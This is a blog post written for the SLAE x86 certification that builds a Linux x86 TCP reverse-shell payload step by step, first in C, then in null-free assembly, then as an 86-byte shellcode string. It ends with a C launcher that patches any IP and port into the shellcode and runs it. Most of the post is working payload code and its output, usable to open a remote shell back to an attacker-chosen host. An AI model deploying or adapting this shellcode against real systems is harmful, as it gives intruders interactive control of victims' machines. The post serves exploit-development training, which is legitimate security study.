Introduction
This is assignment #2 of the SLAE x86 Exam objectives.
Objectives
- Crate a Shell_Reverse_TCP shellcode
- Reverse connects to configured IP and port
- Execs Shell on successful connection
- IP and Port number should be easily configurable
Building a task plan and prerequisites
TCP Reverse Shell coded in C
I will not go into as much details which were covered in my previous thread ASM Bindshell. I’ll just copy one of the simplest bind shell code in C and make the necessary changes to it:
/* *** A simple /bin/sh TCP Reverse Shell ***
Author d7x
https://d7x.promiselabs.net
http://www.promiselabs.net
*/
#include <stdio.h>
#include <netdb.h>
main() {
// create the socket
int sockid = socket(PF_INET, SOCK_STREAM, 0);
struct sockaddr_in addrport;
addrport.sin_family = AF_INET;
addrport.sin_port = htons(4444);
addrport.sin_addr.s_addr = htonl(INADDR_ANY);
// there are several ways to do this: inet_addr (considered obsolete according to the new standards, inet_pton (thread safe), inet_aton
// addrport.sin_addr.s_addr = inet_addr("127.0.0.1");
//inet_pton(AF_INET, "127.0.0.1", &addrport.sin_addr.s_addr);
inet_aton("127.0.0.1", &addrport.sin_addr.s_addr);
// connect
int conn = connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
if (conn == -1)
{
printf("Error: %d %s\n", errno, strerror(errno));
return 0;
}
// bind
bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
// listen
listen(sockid, 0);
// accept
int sock_accept = accept(sockid, 0, 0);
// redirect stdin, stdout, stderr
int i = 0;
for (i = 0; i <= 2; i++)
dup2(sockid, i);
// exec /bin/sh
execve("/bin/sh", NULL, NULL);
}
As it could be seen, there are a few changes required and voila, we got a TCP reverse shell stub:
- The addrport.sin_addr.s_addr = htonl(INADDR_ANY) assignment is changed to one of the alternative inet_addr (considered obsolete according to the new standards, inet_pton (thread safe), or inet_aton calls as we need a binary representation of an IPv4 address associated with the socket file descriptor (the socket needs to know where to connect to when a subsequent connect is called using our initially created socket file descriptor)
- The bind, listen, and accept calls are not required anymore as we are connecting to a listener instead of binding one on our local interface
- There is an additional connect syscall required in order to initiate the connection to the listener
- The dup2 call duplicating the socket is kept, this time pointing to the initial socket file descriptor, and not to the subsequent one which is initiated with an accept syscall, like in the previous version of the shell where port binding is required
So our reverse TCP shell stub in C would look as following:
/* *** A simple /bin/sh TCP Reverse Shell ***
Author d7x
https://d7x.promiselabs.net
http://www.promiselabs.net
*/
#include <stdio.h>
#include <netdb.h>
main() {
// create the socket
int sockid = socket(PF_INET, SOCK_STREAM, 0);
struct sockaddr_in addrport;
addrport.sin_family = AF_INET;
addrport.sin_port = htons(4444);
// there are several ways to do this: inet_addr (considered obsolete according to the new standards, inet_pton (thread safe), inet_aton
// addrport.sin_addr.s_addr = inet_addr("127.0.0.1");
//inet_pton(AF_INET, "127.0.0.1", &addrport.sin_addr.s_addr);
inet_aton("127.0.0.1", &addrport.sin_addr.s_addr);
// connect
connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
// redirect stdin, stdout, stderr
int i = 0;
for (i = 0; i <= 2; i++)
dup2(sockid, i);
// exec /bin/sh
execve("/bin/sh", NULL, NULL);
}
Let’s test the above code to confirm it works prior to start building the assembly:
There’s just one additional thing to point out, I substituted the regularly used and now considered obsolete inet_addr with inet_aton, just for the exercise and to have an additional change required in the assembly code.
System calls
So far we have a TCP Reverse Shell stub coded in C, which makes the following system calls that would be required to build our assembly shellcode:
- socket
- inet_aton
- connect
- dup2 (called 3 times with the values 0, 1, 2 to redirect stdin, stdout, and stderr, respectively, to our incoming socket)
- execve
Iinstead of describing where each call is located which I did in my previous thread on ASM Bindshell (SLAE Assignment #1), I’ll just write the call number next to each syscall that will be made in the following table:
System call | Definition | Number | Defined in |
socketcall | __NR_socketcall | 102 | /usr/include/i386-linux-gnu/asm/unistd_32.h |
|__ socket | SYS_SOCKET | 1 | /usr/include/linux/net.h |
|__ connect | SYS_CONNECT | 3 | /usr/include/linux/net.h |
dup2 | __NR_dup2 | 63 | /usr/include/i386-linux-gnu/asm/unistd_32.h |
execve | __NR_execve | 11 | /usr/include/i386-linux-gnu/asm/unistd_32.h |
We will also need the number of the socket type definition as defined in /usr/include/i386-linux-gnu/bits/socket.h:
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
...
}
#define PF_INET 2 /* IP protocol family. */
ASM Pseudo-code
Based on the above definitions we could make the following pseudo-code of syscalls and parameters:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01)
; socketcall (0x66)
; syscall SYS_CONNECT (0x03)
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; execve (0x0b)
; /bin//sh
Assembly code
The assembly code from my previous thread on ASM TCP Bind Shell (SLAE x86 Assignment #1) could serve as a base skeleton on building the assembly code for TCP Reverse Shell. There is one slight issue we need to address here, however, and this is how to represent an IP address in hex. One simple way to do this is using the bash printf tool:
$ printf "%.2x " 127 0 0 1
7f 00 00 01
So when the value for the IP address 127.0.0.1 is pushed into the stack, we need to use the following notation, keeping in mind that the stack grows from higher to lower addresses:
push 0x0100007f
However, another issue arises here: null bytes
Avoiding null-bytes in network loopback representation
A query on google for variations of loopback address leads to the wikipedia page containing the definition for loopback addresses with the following quote:
Various Internet Engineering Task Force (IETF) standards reserve the IPv4 address block 127.0.0.0/8, in CIDR notation and the IPv6 address ::1/128 for this purpose. The most common IPv4 address used is 127.0.0.1. Commonly these loopback addresses are mapped to the hostnames, localhost or loopback.
This means that the whole 127.0.0.0/8 block is reserved for the loopback interface, which is the range CIDR IP Range
starting from 127.0.0.0 to 127.255.255.255, so any ip address from 127.0.0.1 up to the 127.255.255.255 could be used in our assembly and will be actually connecting to the loopback interface. This is also confirmed by quering the loopback inerface on a Linux box and calculating the range via the subnet mask:
$ ifconfig lo
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
Networking details on how network addresses and subnet mask form a CIDR range is out of scope of this article, but 127.0.0.1 with a subnet mask of 255.0.0.0.0 and 127.0.0.1/8 are actually the same thing represented in two different ways, where Mask Bits have the value of 8, forming the subnet mask representation of 255.0.0.0. This could be easily checked using a subnet CIDR calculator:
TLDR: Instead of 127.0.0.1, any value can be used falling in the range between 127.0.0.0 and 172.255.255.255, so to keep the shellcode size as smaller as possible, I’d just go with 127.7.7.1:
$ printf "%.02x " 127 1 1 1
7f 01 01 01
So the asm instruction pointing the IP address to connect to would look as following, and we will not limit the byte-size for compatibility purposes and in order for our shellcode to work with remote addresses which may have a bigger length:
push 0x0101017f ; this is the representation of 127.1.1.1, i.e. a variation of an IP address of the (lo) local loopback interface
Assembly code – no null-bytes and IP address
; reverse_shell_tcp.nasm - Assembly TCP Reverse Shell (port 4444)
; Author d7x
global _start:
section .text
_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain
push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; socketcall (0x66)
; syscall SYS_CONNECT (0x03) - int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x03
; pushing arguments to the stack backwards:
; connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
xor edx, edx
; push edx ; push 0
push 0x0101017f ; 127.1.1.1
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET
mov ecx, esp
push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; let's put all this in a loop
xor ecx, ecx
DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2 63
; int dup2(int oldfd, int newfd);
xor eax, eax
mov al, 0x3f
; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value
xor ebx, ebx
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80
inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached
; execve (0x0b)
; /bin//sh
xor eax, eax
xor ebx, ebx
sub esp, 8 ; reserve some bytes in the stack to work with
mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
; syscall
int 0x80
; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80
Key differences from the bind shell:
- The push edx instruction has ben substituted with push 0x0101017f ; 127.1.1.1 to provide an IP address as an argument
- The saved socket file descriptor is used only once in the esi register, as we need to reference the actual initial socket instead of re-referencing some of the next calls, where as the bind shell required to:
- provide the initial socket file descriptor to be stored in esi, and then used in the bind syscall, in SYS_ACCEPT
- store the returned socket file descriptor from SYS_ACCEPT, so that it can be then used in the dup2 syscall
- We are actually skipping the above steps and referencing just the initial socket file descriptor from the socket call
Optimizing the assembly to reduce shellcode size
To optimize the above assembly, I did some modifications to the above version aiming to reduce the shellcode size:
- I removed the xor ebx, ebx instruction in the execve call as it seemed unnecessary
- I substituted the sub esp, 8 instruction with a push eax instruction as its opcode is shorter:
- 83EC08 sub esp,byte +0x8 (3 bytes)
- 50 push eax (1 byte)
- The xor eax, eax / xor ebx, ebx / xor edx, edx etc. zeroing operands in some sections could also be skipped
- The initial xor eax, eax and xor ebx, ebx could also be skipped, however I left them for the portability reasons – porting the shellcode to a different environment where the register state is unknown may result in null-bytes to occur
The final result of the TCP Reverse Shell Assembly source code:
; shell_reverse_tcp.nasm - Assembly TCP Reverse Shell (port 4444)
; Author d7x
global _start:
section .text
_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain
push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; socketcall (0x66)
; syscall SYS_CONNECT (0x03) - int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov al, 0x66
mov bl, 0x03
; pushing arguments to the stack backwards:
; connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
push 0x0101017f ; 127.1.1.1
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET
mov ecx, esp
push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor
mov ecx, esp
; syscall
int 0x80
; dup2 - __NR_dup2 63
; dup2(0), dup2(1), dup2(2)
; (0 - stdin, 1 - stdout, 2 - stderr)
; let's put all this in a loop
xor ecx, ecx
DUPCOUNT:
; int dup2(int oldfd, int newfd);
xor eax, eax
mov al, 0x3f
; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value
; xor ebx, ebx
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80
inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached
; execve (0x0b)
; /bin//sh
xor eax, eax
; xor ebx, ebx
push eax ; reserve some bytes in the stack to work with
mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
; syscall
int 0x80
; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80
Now let’s convert this to shellcode:
$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
Let’s also check if the Assembly TCP Reverse Shellcode is null-free and count its size:
$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep 00
$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o '\x' | wc -l
86
This completes Objective #1 of the assignment.
Objective #2: IP And Port Number should be easily configurable
Locating the IP and Port byte offset
As demonstrated in my previous post on ASM Bindshell (SLAE x86 Assignment #1) and pointed in my penetration testing cheatsheet (scroll to “Get shellcode byte offset”), we can calculate the byte offsets for the IP address and the port number within our shellcode:
- For the port number we need to use the expression \\x11\\x5c
$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed -n -e 's/\\x11\\x5c.*//p' | grep -o '\x' | wc -l
32
- For the IP address we need to use the expression \\x7f\\x01\\x01\\x01
$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed -n -e 's/\\x7f\\x01\\x01\\x01.*//p' | grep -o '\x' | wc -l
26
So we need to substitute the 4 bytes at offset 26 to swap the IP address and the 2 bytes at offset 32 to alter the port number.
Building the C stub
The details on how to alter shellcode offsets in C are described in my post titled C: changing shellcode bytes at the middle (or at shellcode offset) so I won’t cover much of the the details here, but if you want a more detailed explanation on the simple C stub I created check out the mentioned blog post.
Making IP and Port bytes allocated dynamically based on the program arguments
/*
Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS)
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; //IP address at 26th byte; Port at 32nd byte
main(int argc, char *argv[])
{
/* Default port at 28th and 29th byte index: \x11\x5c */
// in case no port is provided the default would be used
if (argc < 3) {
printf("No IP or port provided, 127.1.1.1:4444 (0x7f010101:0x115c) will be used\n");
}
else
{
// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
struct sockaddr_in ipaddr;
inet_aton(argv[1], &ipaddr.sin_addr.s_addr);
int port = atoi(argv[2]);
printf("Connecting to %s (0x%x):%d (0x%x)\n", argv[1], ipaddr.sin_addr.s_addr, port, port);
unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;
// printf("%x %x\n", p1, p2);
shellcode[32] = (unsigned char){p1};
shellcode[33] = (unsigned char){p2};
/* 1st byte: 0xAABBCCDD >> 0 & 0xff
2nd byte: 0xAABBCCDD >> 8 & 0xff
3rd byte: 0xAABBCCDD >> 16 & 0xff
4th byte: 0xAABBCCDD >> 24 & 0xff
*/
int i, a;
for (i = 26, a = 0; i <= 29; i++, a+=8)
{
shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
printf("Byte %d: %.02x\n", i, shellcode[i]);
}
}
int (*ret)() = (int(*)())shellcode;
ret();
}
Download
Bindshell With Dynamic Port Binding Shellcode (86 bytes):
PacketStormSecurity:
https://packetstormsecurity.com/files/163461/Linux-x86-Reverse-TCP-Shell-Shellcode.html
Exploit-db:
https://www.exploit-db.com/exploits/50125
Github:
https://github.com/d7x/shellcode/blob/main/linux/x86/shell_reverse_tcp.c
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690